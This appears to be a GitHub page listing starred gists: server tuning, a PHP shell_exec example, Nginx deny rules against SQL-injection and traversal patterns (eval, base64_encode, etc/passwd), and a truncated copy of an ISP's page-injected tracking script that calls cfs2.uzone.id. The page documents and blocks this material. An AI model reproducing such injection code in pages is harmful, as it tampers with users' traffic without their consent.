Skip to content

Instantly share code, notes, and snippets.

View komputronika's full-sized avatar

Komputronika komputronika

View GitHub Profile
@n4ss1m
n4ss1m / tcp_tweaks.txt
Last active April 15, 2024 07:35 — forked from perusio/gist:2154235
High performance tuning of Nginx
## From a post on the ML, apropos this:
## http://lowlatencyweb.wordpress.com/2012/03/20/500000-requestssec-modern-http-servers-are-fast.
## For sysctl.conf
net.ipv4.tcp_slow_start_after_idle = 0
echo "1768 64512" > /proc/sys/net/ipv4/ip_local_port_range
echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle
echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse
@codeZoner
codeZoner / run-command.php
Last active April 12, 2022 19:48
Execute Shell Script using PHP (Git Pull Example)
<?php
// chdir to the correct directory before calling the script
//Ref: https://stackoverflow.com/questions/11052162/run-bash-command-from-php#answer-11052453
$old_path = getcwd();
chdir('/path/to/file');
//make sure to make the shell file executeable first before running the shell_exec function
$output = shell_exec('./shell-script.sh');
chdir($old_path);
echo $output;
@VirtuBox
VirtuBox / protect.conf
Created June 23, 2017 20:54
Nginx Configuration to block SQL Injection and similar attacks
location ~* "(eval\()" { deny all; }
location ~* "(127\.0\.0\.1)" { deny all; }
location ~* "([a-z0-9]{2000})" { deny all; }
location ~* "(javascript\:)(.*)(\;)" { deny all; }
location ~* "(base64_encode)(.*)(\()" { deny all; }
location ~* "(GLOBALS|REQUEST)(=|\[|%)" { deny all; }
location ~* "(<|%3C).*script.*(>|%3)" { deny all; }
location ~ "(\\|\.\.\.|\.\./|~|`|<|>|\|)" { deny all; }
location ~* "(boot\.ini|etc/passwd|self/environ)" { deny all; }
location ~* "(thumbs?(_editor|open)?|tim(thumb)?)\.php" { deny all; }
@olanod
olanod / templates.js
Last active April 2, 2024 05:00
Simple template loader. A global object that loads and caches templates.
const templates = Object.create(null, {
load: {
value: async function(fileName) {
const url = new URL(fileName,
document.currentScript && document.currentScript.src || location.href)
if (url in this) return this[url]
// fetch and parse template as string
let template = await fetch(url)
template = await template.text()
template = new DOMParser().parseFromString(template, 'text/html')
@nonsintetic
nonsintetic / readme.md
Last active January 19, 2024 10:57
PHP - Get YouTube subscriber count with Youtube API v3

How to:

Here's a 'simple' way to get the YouTube subscriber number from Google's Youtube API v3:

  1. Go to https://console.developers.google.com/apis/library
  2. Log in with your Google account.
  3. Next to the logo click on 'Project' and 'Create project'. Name it whatever you want and click on 'Create'.
  4. Wait until the project is created, the page will switch to it by itself, it will take a couple of seconds up to a minute. Once it's done it will be selected next to the logo.
  5. Once it's created and selected, click on 'Credentials' from the menu on the left.
  6. Click on 'Create Credentials' and choose 'API Key'. You can restrict it to specific IPs, or types of requests (website, android, ios etc.) if you want, it's safer that way.
@zas
zas / install_intelr_graphic_linux_firmware.sh
Created September 9, 2016 00:06
Fix "W: Possible missing firmware /lib/firmware/i915/kbl_dmc_ver1.bin for module i915_bpo" (Ubuntu 16.04, kernel 4.4)
#!/bin/bash
cd
wget https://01.org/sites/default/files/downloads/intelr-graphics-linux/sklgucver61.tar.bz2 && \
tar xvjf sklgucver61.tar.bz2 && cd skl_guc_ver6_1/ && sudo ./install.sh
cd
wget https://01.org/sites/default/files/downloads/intelr-graphics-linux/kbldmcver101.tar.bz2 && \
@jakerella
jakerella / jkq.js
Last active May 3, 2024 01:49
An ultra-light, jQuery-like micro-library for selecting DOM elements and manipulating them.
(function() {
'use strict';
/**
* Core method, similar to jQuery (only simpler)
*
* @param {String|HTMLElement} s The CSS selector to search for or HTML element to wrap with functionality
* @param {HTMLElement} root OPTIONAL An HTML element to start the element query from
* @return {Array} The collection of elements, wrapped with functionality (see API methods)
*/
@donnykurnia
donnykurnia / gist:2356dad4119ce85d18d18708914c60e3
Last active June 29, 2022 04:35
Injection code from Telkom Indihome. This code will replace </body> at the end of webpage with the code below. The content may varied, but the main payload is loaded from cfs2.uzone.id
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnCgur28FUm401VrTNseDf2JlEA6ZiOk%2ffQK22KycK5kPdVDjpnejkM9P73Pe7Y6EuuaOitYkmzmKNO8RUzaFdaIXn6R7NkvKk9cKCHQzyvNXXPs%2bsueqLp2EKbC6X0Nu38%2fmvVexzHBsuqHkiQG%2bNd%2bm8E%2f1Gq6XVEDRBd4yBsks3piKPJIEbKaNRdQVxqlbqy5Bs6h0iSFn8zyf11ihllrf6ZNmrJse7MMGOa5Bg8V4gb29r7%2bHjvRblYlXTzoDaVMg79rr8%2fNSZ6ssVfsxi0UIiVvCjFalmdmUa4D3V21bRqM4cgubmchEbbS%2bil%2bkh%2bMxt3Lc4cILEYiziKexsYIRCUr4wR%2fPBUNQ0j4IIx1jEuAgOLeRdwvvw4aFM0V1i21bvKCvX8DaMIllnngEEJ09Ev%2fVl90I1UyrYKv6AaTOlPRBinecqub0KT%2flfLk3J5BMJsGhRjFCfISXqn01lRdvFPPMPwF0W10PRF8Of4%2feqOmNt6%2f1%2bIe66Xn2XLzyo%2fXuwHgr8%2fESw2BJ%2fexkP1
@fevangelou
fevangelou / my.cnf
Last active April 26, 2024 09:12
Optimized my.cnf configuration for MySQL/MariaDB (on Ubuntu, CentOS, Almalinux etc. servers)
# === Optimized my.cnf configuration for MySQL/MariaDB (on Ubuntu, CentOS, Almalinux etc. servers) ===
#
# by Fotis Evangelou, developer of Engintron (engintron.com)
#
# ~ Updated December 2021 ~
#
#
# The settings provided below are a starting point for a 8-16 GB RAM server with 4-8 CPU cores.
# If you have different resources available you should adjust accordingly to save CPU, RAM & disk I/O usage.
#